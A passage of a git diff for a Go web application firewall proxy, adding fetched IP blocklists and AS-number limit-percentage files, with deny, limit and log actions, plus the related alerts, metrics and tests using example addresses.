} { diff --git a/internal/proxy/proxy.go b/internal/proxy/proxy.go index 4df438f..170eb92 100644 --- a/internal/proxy/proxy.go +++ b/internal/proxy/proxy.go @@ -18,6 +18,7 @@ import ( "sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/metrics" "sneak.berlin/go/smallwebwaf/internal/ratelimit" + "sneak.berlin/go/smallwebwaf/internal/reputation" "sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/rules" ) @@ -69,14 +70,16 @@ type Params struct { // against. Rules *rules.Files // Alerts receive the alert for each ban the proxy makes or makes - // permanent, for each count over an anomaly threshold, and for GeoJS - // failing. + // permanent, for each count over an anomaly threshold, for each request + // whose client a blocklist lists, and for GeoJS failing or a fetch of a + // list failing. Alerts *alerts.Queue } // Server is the server smallwebwaf runs, with the parts of the proxy // whose state the state files keep, the lookup database, nil unless -// SWWAF_LOOKUP_SOURCE is file, and the metrics. +// SWWAF_LOOKUP_SOURCE is file, the lists fetched from URLs, which its Run +// fetches, and the metrics. type Server struct { *http.Server @@ -85,6 +88,7 @@ type Server struct { GeoJS *lookup.GeoJS Anomalies *anomaly.Counters LookupFile *lookup.File + Lists *reputation.Lists Metrics *metrics.Metrics } @@ -132,8 +136,13 @@ func New(params Params) *Server { Alerts: params.Alerts, }), lookupFile: params.LookupFile, - rules: params.Rules, - alerts: params.Alerts, + lists: reputation.New(reputation.Params{ + BlocklistURLs: params.Config.BlocklistURLs, Refresh: params.Config.BlocklistRefresh, + ASNLimitPercentURL: params.Config.ASNLimitPercentURL, Now: params.Now, + ProcessLog: params.ProcessLog, Alerts: params.Alerts, + }), + rules: params.Rules, + alerts: params.Alerts, } h.geojs = lookup.New(lookup.Params{ URL: params.GeoJSURL, @@ -151,6 +160,7 @@ func New(params Params) *Server { }) m.AddBansAndClients(h.ledger, h.limiter, params.Now) m.AddRules(params.Rules) + m.AddReputation(h.lists) return &Server{ Server: &http.Server{ @@ -170,6 +180,7 @@ func New(params Params) *Server { GeoJS: h.geojs, Anomalies: h.anomalies, LookupFile: h.lookupFile, + Lists: h.lists, Metrics: m, } } @@ -189,6 +200,7 @@ type handler struct { geojs *lookup.GeoJS anomalies *anomaly.Counters lookupFile *lookup.File + lists *reputation.Lists rules *rules.Files alerts *alerts.Queue } diff --git a/internal/proxy/reputation.go b/internal/proxy/reputation.go new file mode 100644 index 0000000..2867b2f --- /dev/null +++ b/internal/proxy/reputation.go @@ -0,0 +1,32 @@ +package proxy + +import ( + "sneak.berlin/go/smallwebwaf/internal/alerts" +) + +// blocklistDenied notes in the log line the URLs of the blocklists that +// list the client, counts each of them in the metrics and raises a +// reputation_hit alert for it, and reports whether SWWAF_BLOCKLIST_ACTION, +// being deny, refuses the request. Being limit, it lowers the client's +// limits instead (see limitPercentages), and being log, it does nothing +// more. +func (rq *request) blocklistDenied() bool { + listedBy := rq.h.lists.ListedBy(rq.client) + rq.line.Reputation = listedBy + + for _, listURL := range listedBy { + rq.h.metrics.ReputationHit(listURL) + rq.h.alerts.Raise(alerts.Alert{ + Event: alerts.EventReputationHit, + Client: rq.client, + Netblock: clientGroup(rq.client), + ASN: rq.line.ASN, + ASName: rq.line.ASName, + Country: rq.line.Country, + Reason: "listed by a blocklist", + Detail: map[string]any{"source": listURL}, + }) + } + + return len(listedBy) > 0 && rq.h.config.BlocklistAction == "deny" +} diff --git a/internal/proxy/reputation_test.go b/internal/proxy/reputation_test.go new file mode 100644 index 0000000..9381f29 --- /dev/null +++ b/internal/proxy/reputation_test.go @@ -0,0 +1,333 @@ +package proxy_test + +import ( + "maps" + "net/http" + "net/netip" + "slices" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/alerts" + "sneak.berlin/go/smallwebwaf/internal/proxy" + "sneak.berlin/go/smallwebwaf/internal/reputation" + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +// The reputation settings. +const ( + blocklistURLs = "SWWAF_BLOCKLIST_URLS" + blocklistAction = "SWWAF_BLOCKLIST_ACTION" + asnLimitPercentURL = "SWWAF_ASN_LIMIT_PERCENT_URL" +) + +// The actions of SWWAF_BLOCKLIST_ACTION but limit, which has a +// percentage. +const ( + actionDeny = "deny" + actionLog = "log" +) + +// The lists these tests name, which are never fetched: each test puts in +// the copies it needs, as reputation.json would at start. +const ( + dropURL = "https://lists.example/drop.txt" + torURL = "https://lists.example/tor.txt" + asnURL = "https://lists.example/asn.txt" +) + +func TestEachBlocklistActionForAListedAddressAndAListedNetblock(t *testing.T) { + t.Parallel() + + forward, denied := requestlog.ActionForward, requestlog.ActionDenied + + for _, tc := range []struct { + action string + // statuses and actions are those of a listed client's three + // requests, and percent their limit_percent, as percentText gives it. + statuses []int + actions []string + percent string + }{ + { + actionDeny, []int{http.StatusForbidden, http.StatusForbidden, http.StatusForbidden}, + []string{denied, denied, denied}, none, + }, + { + // Half of 4 requests a minute: the third breaks the limit. + "limit:50", []int{http.StatusOK, http.StatusOK, http.StatusForbidden}, + []string{forward, forward, requestlog.ActionRateLimited}, + "50 from " + blocklistAction, + }, + { + actionLog, []int{http.StatusOK, http.StatusOK, http.StatusOK}, + []string{forward, forward, forward}, none, + }, + } { + t.Run(tc.action, func(t *testing.T) { + t.Parallel() + + s, server, _ := startWithLookups(t, map[string]string{ + rateLimitPerMinute: fourAMinute, blocklistURLs: dropURL, + blocklistAction: tc.action, + }) + // fromDE is listed as an address, and fromKP in a netblock. + loadLists(t, server, map[string][]string{ + dropURL: {"; DROP", fromDE, "198.51.100.0/24 ; SBL1"}, + }) + + for _, from := range []string{fromDE, fromKP} { + for i := range 3 { + line := s.get(from, tc.statuses[i], tc.actions[i]) + wantReputation(t, line, dropURL) + wantPercent(t, "limit_percent", line.LimitPercent, + line.LimitPercentSetting, tc.percent) + + // A request refused for the list is not counted. + counted := line.fields["counts"] != nil + if counted != (tc.actions[i] != denied) { + t.Errorf("request from %s counted %t, logged %s", from, counted, + tc.actions[i]) + } + } + } + + // A client no list lists has the whole limit. + for range 3 { + line := s.get(unplaced, http.StatusOK, forward) + wantReputation(t, line) + wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting, + none) + } + + // A refusal for the list makes no ban. + if held := server.Ledger.Snapshot(); tc.action == actionDeny && len(held) != 0 { + t.Errorf("bans %+v, want none", held) + } + }) + } +} + +func TestBlocklistsComeAfterTheCountryListsAndSkipAllowNets(t *testing.T) { + t.Parallel() + + s, server, queue := startWithLookups(t, map[string]string{ + blocklistURLs: dropURL, deniedCountries: "kp", allowNets: fromDE, + }) + loadLists(t, server, map[string][]string{dropURL: {fromDE, fromKP}}) + + // fromKP's country refuses it before the list is looked at, and fromDE, + // in SWWAF_ALLOW_NETS, is not checked at all: neither is noted, nor + // alerted. + wantReputation(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied)) + wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward)) + wantAlerts(t, queue) +} + +func TestObserveModeForwardsAClientABlocklistDeniesAndAlertsIt(t *testing.T) { + t.Parallel() + + s, server, queue := startWithLookups(t, map[string]string{ + blocklistURLs: dropURL, mode: observe, + }) + loadLists(t, server, map[string][]string{dropURL: {fromDE}}) + + line := s.get(fromDE, http.StatusOK, requestlog.ActionForward) + wantWouldAction(t, line, requestlog.ActionDenied) + wantReputation(t, line, dropURL) + + waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] + if len(waiting) != 1 || waiting[0].Event != alerts.EventReputationHit { + t.Errorf("alerts waiting %+v, want a reputation_hit alert", waiting) + } +} + +func TestBlocklistLimitTakesPartInTheLowestPercentageOfEveryLimit(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + action, asnPercent string + // want is the upload's limit_percent and bytes_percent, as + // percentText gives them, and limitHit its limit_hit. + want, limitHit string + }{ + {"limit:50", asnDEQuarter, "25 from " + asnLimitPercent, minuteBytes}, + {"limit:25", asnDEHalf, "25 from " + blocklistAction, minuteBytes}, + // The AS number's, the first of two alike. + {"limit:25", asnDEQuarter, "25 from " + asnLimitPercent, minuteBytes}, + {actionLog, asnDE + ":100", none, ""}, + } { + t.Run(tc.action+" "+tc.asnPercent, func(t *testing.T) { + t.Parallel() + + s, server, _ := startWithLookups(t, map[string]string{ + bytesLimitPerMinute: twoUploads, blocklistURLs: dropURL, + blocklistAction: tc.action, asnLimitPercent: tc.asnPercent, + }) + loadLists(t, server, map[string][]string{dropURL: {fromDE}}) + + // The upload's 100 bytes are over 49, a quarter of 199, and 99, + // half of it, and within 199. + line := s.uploadFrom(fromDE) + wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting, + tc.want) + wantPercent(t, "bytes_percent", line.BytesPercent, line.BytesPercentSetting, + tc.want) + + if line.LimitHit != tc.limitHit { + t.Errorf("log line has limit_hit %q, want %q", line.LimitHit, tc.limitHit) + } + }) + } +} + +func TestASNLimitPercentFileCountsAsTheSettingDoesTheLowerWinning(t *testing.T) { + t.Parallel() + + const ( + fromURL = "25 from " + asnLimitPercentURL + fromSetting = "25 from " + asnLimitPercent + ) + + for _, tc := range []struct { + name string + env map[string]string + file string + // limitPercent and bytesPercent are the upload's, as percentText + // gives them. + limitPercent, bytesPercent string + }{ + {"the file's alone", nil, asnDEQuarter, fromURL, fromURL}, + { + "the file's, lower than the setting's", + map[string]string{asnLimitPercent: asnDEHalf}, asnDEQuarter, fromURL, fromURL, + }, + { + "the setting's, lower than the file's", + map[string]string{asnLimitPercent: asnDEQuarter}, asnDEHalf, + fromSetting, fromSetting, + }, + { + "the setting's, the first of two alike", + map[string]string{asnLimitPercent: asnDEQuarter}, asnDEQuarter, + fromSetting, fromSetting, + }, + {"none, for an AS number the file does not list", nil, asnKP + ":25", none, none}, + { + "SWWAF_ASN_BYTES_PERCENT's in place of the file's for the byte limits", + map[string]string{asnBytesPercent: asnDE + ":100"}, asnDEQuarter, fromURL, none, + }, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + env := map[string]string{asnLimitPercentURL: asnURL} + maps.Copy(env, tc.env) + + s, server, _ := startWithLookups(t, env) + loadLists(t, server, map[string][]string{asnURL: {"# by AS number", tc.file}}) + + line := s.uploadFrom(fromDE) + wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting, + tc.limitPercent) + wantPercent(t, "bytes_percent", line.BytesPercent, line.BytesPercentSetting, + tc.bytesPercent) + }) + } +} + +func TestEachBlocklistThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted( + t *testing.T, +) { + t.Parallel() + + const emptyURL = "https://lists.example/empty.txt" + + s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{ + blocklistURLs: dropURL + "," + torURL + "," + emptyURL, + blocklistAction: actionLog, + metricsToken: token, + }) + loadLists(t, server, map[string][]string{dropURL: {fromDE}, torURL: {fromDE}}) + + // The second request's alerts are repeats, which the cooldown holds + // back. + for range 2 { + wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward), + dropURL, torURL) + } + + hit := func(source string) alerts.Alert { + return alerts.Alert{ + Instance: alertInstance, + Time: clk.Now(), + Event: alerts.EventReputationHit, + Client: netip.MustParseAddr(fromDE), + Netblock: netip.MustParsePrefix(fromDE + "/32"), + ASN: asnDE, + ASName: asNameDE, + Country: "DE", + Reason: "listed by a blocklist", + Detail: map[string]any{"source": source}, + } + } + wantAlerts(t, queue, hit(dropURL), hit(torURL)) + + if queue.Suppressed() != 2 { + t.Errorf("%d alerts held back, want the second request's 2", queue.Suppressed()) + } + + // Each list's hits, none of its fetches failed, and when its copy was + // fetched, 0 for the one without. + metrics := s.scrape(unplaced) + fetched := float64(listsFetched().Unix()) + + for listURL, want := range map[string]struct{ hits, fetched float64 }{ + dropURL: {2, fetched}, torURL: {2, fetched}, emptyURL: {0, 0}, + } { + labels := `{instance="` + alertInstance + `",source="` + listURL + `"}` + + if want.hits == 0 { + wantNoSeries(t, metrics, "smallwebwaf_reputation_hits_total"+labels) + } else { + wantMetric(t, metrics, "smallwebwaf_reputation_hits_total"+labels, want.hits) + } + + wantMetric(t, metrics, "smallwebwaf_reputation_failures_total"+labels, 0) + wantMetric(t, metrics, "smallwebwaf_reputation_last_fetch_timestamp_seconds"+labels, + want.fetched) + } +} + +// listsFetched is when loadLists has the copies fetched. +func listsFetched() time.Time { + return time.Date(2026, 10, 5, 0, 0, 0, 0, time.UTC) +} + +// loadLists puts copies of lists into server's lists, by URL, each with +// its lines, fetched at listsFetched, as reputation.json would at start. +func loadLists(t *testing.T, server *proxy.Server, copies map[string][]string) { + t.Helper() + + lists := make([]reputation.List, 0, len(copies)) + for listURL, lines := range copies { + lists = append(lists, reputation.List{ + URL: listURL, Fetched: listsFetched(), Lines: lines, + }) + } + + err := server.Lists.Load(lists) + if err != nil { + t.Fatalf("load the lists: %v", err) + } +} + +// wantReputation checks the URLs of the blocklists the log line names in +// its reputation. +func wantReputation(t *testing.T, line logLine, want ...string) { + t.Helper() + + if !slices.Equal(line.Reputation, want) { + t.Errorf("log line has reputation %v, want %v", line.Reputation, want) + } +} diff --git a/internal/proxy/request.go b/internal/proxy/request.go index 6d3c220..ad2c463 100644 --- a/internal/proxy/request.go +++ b/internal/proxy/request.go @@ -213,14 +213,14 @@ func (rq *request) check(ctx context.Context) *refusal { // client in SWWAF_ALLOW_NETS skips them, and is not looked up. For any // other client, SWWAF_DENY_NETS comes first, then a ban on its netblock, // so that a client either refuses is not looked up, then the lookup of -// its AS number and country, and then the country lists; a request any of -// them refuses is not counted for the rate limits. Then come the rate -// limits, unless the client is in SWWAF_RATE_LIMIT_EXEMPT_NETS or the -// request's path is exempt under SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that -// every other request is counted, each of them by the client's limit -// percentages, and last the rule files. A request exempt from the rate -// limits is exempt from the byte limits too. ctx is the request's own -// context. +// its AS number and country, then the country lists, and then the +// blocklists; a request any of them refuses is not counted for the rate +// limits. Then come the rate limits, unless the client is in +// SWWAF_RATE_LIMIT_EXEMPT_NETS or the request's path is exempt under +// SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that every other request is counted, +// each of them by the client's limit percentages, and last the rule +// files. A request exempt from the rate limits is exempt from the byte +// limits too. ctx is the request's own context. func (rq *request) checkClient(ctx context.Context) string { cfg := rq.h.config if isInside(rq.client, cfg.AllowNets) { @@ -243,10 +243,14 @@ func (rq *request) checkClient(ctx context.Context) string { return requestlog.ActionCountryDenied } + if rq.blocklistDenied() { + return requestlog.ActionDenied + } + rq.counted = !isInside(rq.client, cfg.RateLimitExemptNets) && !pathExempt(rq.in.URL, cfg.RateLimitExemptPaths) if rq.counted { - rq.limitPercent, rq.bytesPercent = limitPercentages(cfg, rq.line.ASN, rq.line.Country) + rq.limitPercent, rq.bytesPercent = rq.limitPercentages() rq.line.LimitPercent, rq.line.LimitPercentSetting = rq.limitPercent.logged() rq.line.BytesPercent, rq.line.BytesPercentSetting = rq.bytesPercent.logged() } diff --git a/internal/reputation/export_test.go b/internal/reputation/export_test.go new file mode 100644 index 0000000..4c4035d --- /dev/null +++ b/internal/reputation/export_test.go @@ -0,0 +1,9 @@ +package reputation + +import "net/http" + +// SetTransport has l's fetches go through transport instead of the +// network. +func (l *Lists) SetTransport(transport http.RoundTripper) { + l.httpClient.Transport = transport +} diff --git a/internal/reputation/reputation.go b/internal/reputation/reputation.go new file mode 100644 index 0000000..45872cd --- /dev/null +++ b/internal/reputation/reputation.go @@ -0,0 +1,499 @@ +// Package reputation fetches the lists the settings name by URL: the +// blocklists of SWWAF_BLOCKLIST_URLS, and the file of AS:percent lines +// SWWAF_ASN_LIMIT_PERCENT_URL names. It keeps the last good copy of each, +// whole, comment lines included, which is used while a fetch fails, and +// when each was last tried, which the state package writes to +// reputation.json and reads from it, so that a restart keeps them too. +package reputation + +import ( + "context" + "errors" + "fmt" + "io" + "log/slog" + "net/http" + "net/netip" + "slices" + "strings" + "sync" + "time" + + "sneak.berlin/go/smallwebwaf/internal/alerts" + "sneak.berlin/go/smallwebwaf/internal/config" +) + +const ( + // maxListBytes is the most of a list that is read. A longer one is a + // failure, so that a wrong URL cannot fill the memory. + maxListBytes = 16 << 20 + // fetchTimeout bounds one fetch of a list. + fetchTimeout = time.Minute + // mappedBits is the length of ::ffff:0.0.0.0/96, the netblock of every + // IPv4-mapped address. + mappedBits = 96 +) + +var ( + errStatus = errors.New("the server answered") + errTooLong = errors.New("the list is longer than 16 MiB") + errNotNetblock = errors.New("is not an address or a netblock, such as 192.0.2.0/24") + errNotASNPercent = errors.New( + "is not an AS number, : and a percentage, such as AS64496:50") +) + +// List is a list as reputation.json holds it: the URL it is fetched from, +// when it was last tried, the fetch failed or not, and its last good copy: +// when that was fetched, and its lines, as fetched, comment lines +// included, both left out while no fetch of it has succeeded. +type List struct { + URL string `json:"url"` + Tried time.Time `json:"tried"` + Fetched time.Time `json:"fetched,omitzero"` + Lines []string `json:"lines,omitzero"` +} + +// Params are what New needs. +type Params struct { + // BlocklistURLs are the blocklists (SWWAF_BLOCKLIST_URLS), and + // ASNLimitPercentURL the file of AS:percent lines + // (SWWAF_ASN_LIMIT_PERCENT_URL), "" while it is unset. + BlocklistURLs []string + ASNLimitPercentURL string + // Refresh is how long after a list was last fetched or tried it is + // fetched again (SWWAF_BLOCKLIST_REFRESH). + Refresh time.Duration + // Now tells the time, normally time.Now in UTC. + Now func() time.Time + // ProcessLog receives each fetch of a list, and why one failed. + ProcessLog *slog.Logger + // Alerts receive a source_failure alert for each fetch that fails. + Alerts *alerts.Queue +} + +// Lists are the lists Params names, each with its last good copy. They +// are safe for concurrent use. +type Lists struct { + params Params + httpClient *http.Client + + mu sync.Mutex + // lists are by URL, one for each URL Params names. + lists map[string]*list +} + +// list is one list: what reputation.json keeps of it, its last try, zero +// before the first, and its last good copy, what that copy says, and how +// many fetches of it failed. +type list struct { + kept List + entries entries + failures int +} + +// entries are what the lines of a copy say: for a blocklist, the netblocks +// it names, with the lengths among them, and for the file of AS:percent +// lines, the percentage it gives each AS number. +type entries struct { + netblocks map[netip.Prefix]bool + lengths []int + percents map[string]int64 +} + +// New returns the lists, without a copy of any yet. +func New(params Params) *Lists { + l := &Lists{params: params, httpClient: &http.Client{}, lists: map[string]*list{}} + + for _, listURL := range l.URLs() { + l.lists[listURL] = &list{kept: List{URL: listURL}} + } + + return l +} + +// URLs returns the URL of every list: the blocklists' in the order +// SWWAF_BLOCKLIST_URLS names them, then SWWAF_ASN_LIMIT_PERCENT_URL. +func (l *Lists) URLs() []string { + urls := slices.Clone(l.params.BlocklistURLs) + if l.params.ASNLimitPercentURL != "" { + urls = append(urls, l.params.ASNLimitPercentURL) + } + + return urls +} + +// ListedBy returns the URLs of the blocklists whose copy lists addr, in +// the order SWWAF_BLOCKLIST_URLS names them. +func (l *Lists) ListedBy(addr netip.Addr) []string { + l.mu.Lock() + defer l.mu.Unlock() + + var listedBy []string + + for _, listURL := range l.params.BlocklistURLs { + if l.lists[listURL].entries.contain(addr) { + listedBy = append(listedBy, listURL) + } + } + + return listedBy +} + +// ASNLimitPercent returns the percentage the copy of the file of +// AS:percent lines gives asn, and whether it lists asn. +func (l *Lists) ASNLimitPercent(asn string) (int64, bool) { + if l.params.ASNLimitPercentURL == "" { + return 0, false + } + + l.mu.Lock() + defer l.mu.Unlock() + + percent, listed := l.lists[l.params.ASNLimitPercentURL].entries.percents[asn] + + return percent, listed +} + +// Fetched returns when the copy in use of the list at listURL was +// fetched, or zero while there is none. +func (l *Lists) Fetched(listURL string) time.Time { + l.mu.Lock() + defer l.mu.Unlock() + + return l.lists[listURL].kept.Fetched +} + +// Failures returns how many fetches of the list at listURL failed. +func (l *Lists) Failures(listURL string) int { + l.mu.Lock() + defer l.mu.Unlock() + + return l.lists[listURL].failures +} + +// Run fetches each list once Refresh has passed since it was last fetched +// or tried, the later of the two, until ctx is done. A list never tried is +// fetched at once, and so is one whose last try or copy, read from +// reputation.json, is that old. +func (l *Lists) Run(ctx context.Context) { + if len(l.lists) == 0 { + return + } + + for ctx.Err() == nil { + next := l.fetchDue(ctx) + timer := time.NewTimer(next.Sub(l.params.Now())) + + select { + case <-ctx.Done(): + case <-timer.C: + } + + timer.Stop() + } +} + +// Snapshot returns each list that has been tried, with its copy, if it +// has one, sorted by URL, as reputation.json lists them. +func (l *Lists) Snapshot() []List { + l.mu.Lock() + + tried := make([]List, 0, len(l.lists)) + + for _, held := range l.lists { + if !held.kept.Tried.IsZero() { + tried = append(tried, held.kept) + } + } + + l.mu.Unlock() + + slices.SortFunc(tried, func(a, b List) int { + return strings.Compare(a.URL, b.URL) + }) + + return tried +} + +// Load puts lists, read from reputation.json, in place of the last tries +// and copies held. A list Params does not name is dropped. A copy with a +// line that parse refuses is an error, and then nothing changes. +func (l *Lists) Load(lists []List) error { + found := make(map[string]entries, len(lists)) + + for _, kept := range lists { + if _, named := l.lists[kept.URL]; !named { + continue + } + + read, err := l.parse(kept.URL, kept.Lines) + if err != nil { + return fmt.Errorf("the copy of %s: %w", kept.URL, err) + } + + found[kept.URL] = read + } + + l.mu.Lock() + defer l.mu.Unlock() + + for listURL, held := range l.lists { + held.kept, held.entries = List{URL: listURL}, entries{} + } + + for _, kept := range lists { + read, named := found[kept.URL] + if named { + l.lists[kept.URL].kept, l.lists[kept.URL].entries = kept, read + } + } + + return nil +} + +// fetchDue fetches each list that is due, one after another, and returns +// when the next is due. Once ctx has ended, it starts none, since a fetch +// cut off is noted as a try. +func (l *Lists) fetchDue(ctx context.Context) time.Time { + var next time.Time + + for _, listURL := range l.URLs() { + due := l.due(listURL) + if ctx.Err() == nil && !l.params.Now().Before(due) { + l.fetch(ctx, listURL) + due = l.due(listURL) + } + + if next.IsZero() || due.Before(next) { + next = due + } + } + + return next +} + +// due returns when the list at listURL is to be fetched: Refresh after it +// was last fetched or tried, the later of the two. +func (l *Lists) due(listURL string) time.Time { + l.mu.Lock() + defer l.mu.Unlock() + + held := l.lists[listURL] + + last := held.kept.Fetched + if held.kept.Tried.After(last) { + last = held.kept.Tried + } + + return last.Add(l.params.Refresh) +} + +// fetch fetches the list at listURL, and notes the try. A good copy takes +// the place of the one held. A failure leaves that in use, and is counted, +// logged and raised as a source_failure alert. A fetch cut off as ctx +// ends, as smallwebwaf stops, is no failure, but is still noted as a try, +// so that a restart waits for it: the server may have had its request. +func (l *Lists) fetch(ctx context.Context, listURL string) { + lines, err := l.get(ctx, listURL) + + var found entries + if err == nil { + found, err = l.parse(listURL, lines) + } + + cutOff := err != nil && ctx.Err() != nil + now := l.params.Now() + + l.mu.Lock() + + held := l.lists[listURL] + held.kept.Tried = now + + if err == nil { + held.kept.Fetched, held.kept.Lines = now, lines + held.entries = found + } else if !cutOff { + held.failures++ + } + + l.mu.Unlock() + + if cutOff { + return + } + + if err != nil { + const failed = "fetching a list failed" + + // Raised before it is logged, so that the alert is there once the + // log line is. + l.params.Alerts.Raise(alerts.Alert{ + Event: alerts.EventSourceFailure, + Reason: failed, + Detail: map[string]any{"source": listURL, "error": err.Error()}, + }) + l.params.ProcessLog.Warn(failed, "url", listURL, "error", err.Error()) + + return + } + + l.params.ProcessLog.Info("fetched a list", "url", listURL, "lines", len(lines)) +} + +// get fetches the list at listURL, and returns its lines. An answer other +// than 200, or a list longer than maxListBytes, is a failure. +func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) { + ctx, cancel := context.WithTimeout(ctx, fetchTimeout) + defer cancel() + + req, err := http.NewRequestWithContext(ctx, http.MethodGet, listURL, http.NoBody) + if err != nil { + return nil, fmt.Errorf("make the request: %w", err) + } + + res, err := l.httpClient.Do(req) + if err != nil { + // Do's error names the URL, which the log line and the alert name + // already: only what went wrong is kept. + return nil, fmt.Errorf("fetch the list: %w", errors.Unwrap(err)) + } + + defer func() { + _ = res.Body.Close() + }() + + if res.StatusCode != http.StatusOK { + return nil, fmt.Errorf("%w %s", errStatus, res.Status) + } + + body, err := io.ReadAll(io.LimitReader(res.Body, maxListBytes+1)) + if err != nil { + return nil, fmt.Errorf("read the list: %w", err) + } + + if len(body) > maxListBytes { + return nil, errTooLong + } + + lines := []string{} + for line := range strings.Lines(string(body)) { + lines = append(lines, strings.TrimSuffix(line, "\n")) + } + + return lines, nil +} + +// parse reads the lines of the list at listURL: those of a blocklist, or +// of the file of AS:percent lines. Anything after a ; or a # on a line is +// left out, and so is a line left blank. Any other line that does not read +// is an error naming it by its number. +func (l *Lists) parse(listURL string, lines []string) (entries, error) { + if listURL == l.params.ASNLimitPercentURL { + return parsePercents(lines) + } + + return parseNetblocks(lines) +} + +// parseNetblocks reads a blocklist's lines, each an address or a netblock +// as the settings take them. +func parseNetblocks(lines []string) (entries, error) { + found := entries{netblocks: map[netip.Prefix]bool{}} + + for i, line := range lines { + text := withoutComment(line) + if text == "" { + continue + } + + netblock, ok := parseNetblock(text) + if !ok { + return entries{}, fmt.Errorf("line %d %w", i+1, errNotNetblock) + } + + found.netblocks[netblock] = true + + if !slices.Contains(found.lengths, netblock.Bits()) { + found.lengths = append(found.lengths, netblock.Bits()) + } + } + + return found, nil +} + +// parseNetblock reads text, a line of a blocklist, and reports whether it +// is an address or a netblock as the settings take them. A client's IPv4 +// address is checked as IPv4, never IPv4-mapped, so an IPv4-mapped line, +// such as ::ffff:192.0.2.0/120, is read as the IPv4 address or netblock it +// stands for, 192.0.2.0/24, and a mapped netblock shorter than /96, which +// stands for none, is refused. +func parseNetblock(text string) (netip.Prefix, bool) { + netblock, err := config.ParseNetblock(text) + if err != nil { + return netip.Prefix{}, false + } + + // The address as written: ParseNetblock's has the bits past the + // netblock's length cleared, the ::ffff among them below /96. + written, _, _ := strings.Cut(text, "/") + if addr, _ := netip.ParseAddr(written); !addr.Is4In6() { + return netblock, true + } + + if netblock.Bits() < mappedBits { + return netip.Prefix{}, false + } + + return netip.PrefixFrom(netblock.Addr().Unmap(), netblock.Bits()-mappedBits), true +} + +// parsePercents reads the lines of the file of AS:percent lines, each an +// AS number, : and a percentage, as SWWAF_ASN_LIMIT_PERCENT takes them. An +// AS number listed more than once gets the lowest of its percentages. +func parsePercents(lines []string) (entries, error) { + found := entries{percents: map[string]int64{}} + + for i, line := range lines { + text := withoutComment(line) + if text == "" { + continue + } + + asnText, percentText, _ := strings.Cut(text, ":") + asn, asnErr := config.ParseASN(asnText) + + percent, percentErr := config.ParsePercent(percentText) + if asnErr != nil || percentErr != nil { + return entries{}, fmt.Errorf("line %d %w", i+1, errNotASNPercent) + } + + earlier, listed := found.percents[asn] + if !listed || percent < earlier { + found.percents[asn] = percent + } + } + + return found, nil +} + +// withoutComment returns line without anything after a ; or a #, and +// without the spaces around what is left. +func withoutComment(line string) string { + text, _, _ := strings.Cut(line, ";") + text, _, _ = strings.Cut(text, "#") + + return strings.TrimSpace(text) +} + +// contain reports whether the netblocks of a blocklist's copy hold addr: +// whether addr, cut to one of their lengths, is one of them. +func (e entries) contain(addr netip.Addr) bool { + for _, length := range e.lengths { + netblock, err := addr.Prefix(length) + if err == nil && e.netblocks[netblock] { + return true + } + } + + return false +} diff --git a/internal/reputation/reputation_test.go b/internal/reputation/reputation_test.go new file mode 100644 index 0000000..b1bdb5c --- /dev/null +++ b/internal/reputation/reputation_test.go @@ -0,0 +1,610 @@ +package reputation_test + +import ( + "bytes" + "context" + "fmt" + "io" + "log/slog" + "net/http" + "net/netip" + "net/url" + "reflect" + "slices" + "strings" + "sync" + "testing" + "testing/synctest" + "time" + + "sneak.berlin/go/smallwebwaf/internal/alerts" + "sneak.berlin/go/smallwebwaf/internal/reputation" +) + +// The tests run in a synctest bubble, where the time package runs on a +// clock of the test's own: time.Sleep moves it on at once, and +// synctest.Wait returns once Run waits for the next list to be due, so +// that every fetch due by then has been made. The stand-in for the +// servers the lists are fetched from answers without the network, since a +// fetch waiting on the network would keep that clock from moving on. + +const ( + // dropURL and torURL are the blocklists, and asnURL the file of + // AS:percent lines. + dropURL = "https://lists.example/drop.txt" + torURL = "https://lists.example/tor.txt" + asnURL = "https://lists.example/asn.txt" + // refresh is the tests' SWWAF_BLOCKLIST_REFRESH, and cooldown their + // SWWAF_ALERT_COOLDOWN, longer than it. + refresh = 24 * time.Hour + cooldown = 48 * time.Hour + // drop is a blocklist as the Spamhaus DROP list is written, with an + // address and a netblock in each of its comments, which list nothing. + drop = "; Spamhaus DROP List 2026/10/07 - (c) 2026 The Spamhaus Project SLL\n" + + "; Last-Modified: Wed, 07 Oct 2026 00:00:00 GMT ; 192.0.2.1\n" + + "# 198.51.100.0/24\n" + + "\n" + + "203.0.113.0/24 ; SBL1\n" + + " 192.0.2.9 # one address\n" + + "2001:db8:1::/48 ; SBL2\n" +) + +func TestListedAddressesAndNetblocksWithTheCommentsLeftOut(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + servers := &standIn{lists: map[string]string{dropURL: drop}} + lists := start(t, servers, params(dropURL)) + + for addr, want := range map[string][]string{ + "203.0.113.0": {dropURL}, + "203.0.113.255": {dropURL}, + "192.0.2.9": {dropURL}, + "2001:db8:1::7": {dropURL}, + "203.0.114.0": nil, + "192.0.2.8": nil, + "192.0.2.1": nil, + "198.51.100.7": nil, + "2001:db8:2::7": nil, + } { + wantListedBy(t, lists, addr, want...) + } + }) +} + +func TestIPv4MappedLineListsTheIPv4AddressOrNetblockItStandsFor(t *testing.T) { + t.Parallel() + + now := time.Now() + lists := reputation.New(params(dropURL)) + + err := lists.Load([]reputation.List{{ + URL: dropURL, Tried: now, Fetched: now, + Lines: []string{"::ffff:192.0.2.9", "::ffff:203.0.113.0/120"}, + }}) + if err != nil { + t.Fatalf("load: %v", err) + } + + for addr, want := range map[string][]string{ + "192.0.2.9": {dropURL}, + 